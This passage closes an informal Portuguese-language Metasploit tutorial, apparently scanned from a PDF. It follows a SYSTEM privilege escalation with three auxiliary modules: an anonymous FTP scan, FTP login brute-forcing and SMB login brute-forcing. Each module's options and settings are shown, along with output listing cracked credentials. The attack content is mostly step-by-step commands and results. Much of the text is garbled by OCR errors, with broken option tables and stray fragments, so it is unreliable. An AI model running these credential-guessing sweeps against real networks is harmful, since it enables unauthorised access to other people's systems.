Server username: MT AUTHORITY%SYSTEM
meterpreter :

Pronto! Privilégio escalado.
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MODULOS AUXILIARES

Vamos ver agora alguns modulos para auxiliar na sua pds exploracao, vou
apresentar 3 modulos mesmo, coisa basica.

1- FTP SCAN
Vamos escanear uma rede por meio do metasploit a procura de servigos
FTP em alguma maquina conectada pela rede.
Entdo vamos usar:

O scanner "ftp / anonymous" digitalizara um intervalo de enderecos IP na busca
de servidores FTP que permitem o acesso anbnimo e determina onde as
permissoes de leitura ou gravagao sao permitidas.

msf >
msf auxiliary(

Module options:

Name Current Setting Required Description

FTPPASS mozilla@example.com The password for the specified
username

FTPUSER anonymous The username to authenticate as

RHOSTS The target address range or CIDR
identifier

RPORT The target port

THREADS The number of concurrent threads

Vamos configurar o modulo selecionando o range de IP que vai ser escaneado,
e as THREADS que ele vai usar para escanear ou seja a velocidade o
processamento.

1 Anonymous READ
Anonymous REA
Anonymous REA
Anonymous REA
Anonymous READ

READ/WRITE
complete’

WK

complete)

nmnonmonon

B

completel

n
[u}

completel

iecn completed
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2- FTP LOGIN

Agora vamos fazer um ataque de forca bruta encima do servigo FTP,
com o objetivo de quebrar a senha do servidor FTP.

Entdo vamos usar:

msf >
mst auxiliary( ) >

Module options (auxiliary/scanner/ftp/ftp_login):

Name Current Setting Required
Description

BLANK_PASSWORDS  false Try blank
passwords for all users

BRUTEFORCE_SPEED 5 How fast
to bruteforce, from @ to 5

DB_ALL_CREDS false Try each
user/password couple stored in the current database

DB_ALL_PASS false Add all
passwords in the current database to the list

DB_ALL_USERS false Add all
users in the current database to the list

PASSWORD A specific
password to authenticate with

PASS FILE /usr/share/wordlists/fasttrack.txt File
containing passwords, one per line

Proxies A proxy
chain of format type:host:port[,type:host:port][...]

RECORD_GUEST false Record
anonymous/guest logins to the database

RHOSTS The target
address range or CIDR identifier

RPORT 21 The target
port (TCP)

STOP_ON_SUCCESS  false Stop
guessing when a credential works for a host

THREADS 1 The number
of concurrent threads

USERNAME no A specific
username to authenticate as

USERPASS_FILE no File
containing users and passwords separated by space, one pair per line

USER_AS_PASS false no Try the
username as the password for all users

USER_FILE no File
containing usernames, one per line

VERBOSE true yes Whether to
print output for all attempts
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Agora vocé pode configurar o Endereco IP Alvo, PASS_FILE e USER_FILE

mst auxiliary( ) >
RHOSTS => 192.168.69.50-254
mst auxiliary( ) >
THREADS => 205

mst auxiliary( ) >
USER_FILE => userlist.txt
mst auxiliary( ) >
PASS FILE => passlist.txt
mst auxiliary( ) >
VERBOSE => false

msf auxiliary( ) >

192.168.69.51:21 - Starting FTP login sweep
192.168.69.50:21 - Starting FTP login sweep
192.168.69.52:21 - Starting FTP login sweep

Scanned 082 of 205 hosts (040% complete)
192.168.69.135:21 - FTP Banner: '220 ProFTPD 1.3.1 Server (Debian)
[::ffff:192.168.69.135]\x0d\x0a"
Scanned 204 of 205 hosts (099% complete)
192.168.69.135:21 - Successful FTP login for 'msfadmin’:‘'msfadmin’
192.168.69.135:21 - User ‘'msfadmin’' has READ/WRITE access
Scanned 205 of 205 hosts (100% complete)
Auxiliary module execution completed
msf auxiliary( ) >
Verbose False é para ndo mostrar na tela a quebra da senha, s6 mostrar o

resultado dela.
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3- SMB LOGIN

Agora vamos fazer um ataque de forca bruta encima do SMB.

Entdo vamos usar:

m:

mst auxiliary
rodule options (auxilia anne b/fsmb_login):

Hame current Setting Required Description
BEQRT_OMN_LOCKQUT
blank p
fast to bruteforce, from
each user/p ord couple stored in
s In the rurrent da

DETECT_&NY_ALTH 0 Enable detection of

. FILE fusrfsharefwordlists fasttrack.t=t o File containing pa
'E_DOMATNS

The target addre
The S service port (TCF)
The Windows domain to use for authentica

o authenticate as
STOP_ON_SUCCE! als res = ng when a credential w
THREADS i ! The number of concurrent threads
File containing users and sepa
Try the rname as the password for all
File containing usernames, one per line
Whether to print output for all attempts

msf auxiliary(

Module options:

Name

BLANK_PASSWORDS Try blank passwords for all
users

BRUTEFORCE_SPEED How fast to bruteforce, from
0 to 5

PASS FILE File containing passwords,
one per line

RHOSTS The target address range or
CIDR identifier

RPORT 445 Set the SMB service port

SMBDomain WORKGROUP SMB Domain

SMBPass SMB Password

SMBUser SMB Username
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STOP_ON_SUCCESS  false yes Stop guessing when a
credential works for a host

THREADS 1 yes The number of concurrent
threads

USERPASS_FILE no File containing users and
passwords separated by space, one pair per line

USER_FILE no File containing usernames,
one per line

VERBOSE yes Whether to print output for
all attempts

msf auxiliary( ) >

PASS FILE => /root/passwords.txt
msf auxiliary( ) >
USER_FILE => /root/users.txt

msf auxiliary( ) >
RHOSTS => 192.168.1.150-165

msf auxiliary( ) >
THREADS => 16

msf auxiliary( ) >
VERBOSE => false
msf auxiliary( ) >

192.168.1.162 - FAILED LOGIN (Windows 7 Enterprise 7600) Administrator :
(STATUS_ACCOUNT_DISABLED)

192.168.1.161 - GUEST LOGIN (Windows 5.1) dale :

192.168.1.161 - GUEST LOGIN (Windows 5.1) chip :

192.168.1.161 - GUEST LOGIN (Windows 5.1) dookie :

192.168.1.161 - GUEST LOGIN (Windows 5.1) jimmie :

192.168.1.150 - SUCCESSFUL LOGIN (Windows 5.1) 'Administrator' : 's3cr3t'’

192.168.1.160 - SUCCESSFUL LOGIN (Windows 5.1) 'Administrator' : 's3cr3t'

192.168.1.161 - SUCCESSFUL LOGIN (Windows 5.1) 'Administrator' : 's3cr3t'

192.168.1.161 - SUCCESSFUL LOGIN (Windows 5.1) ‘victim' : 's3cr3t'

192.168.1.162 - SUCCESSFUL LOGIN (Windows 7 Enterprise 7600) ‘victim'
's3cr3t’

Scanned 15 of 16 hosts (093% complete)

Scanned 16 of 16 hosts (100% complete)

Auxiliary module execution completed
mst auxiliary( ) >

PRRPRRRRRR

Pronto ele quebrou a senha do SMB
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Para quem leu até aqui eu agradeco, o livro
foi basico como eu disse néo foi algo bem
sério tA mais para algumas dicas em PDF,
mas prometo que nos proximos vou
melhorar.
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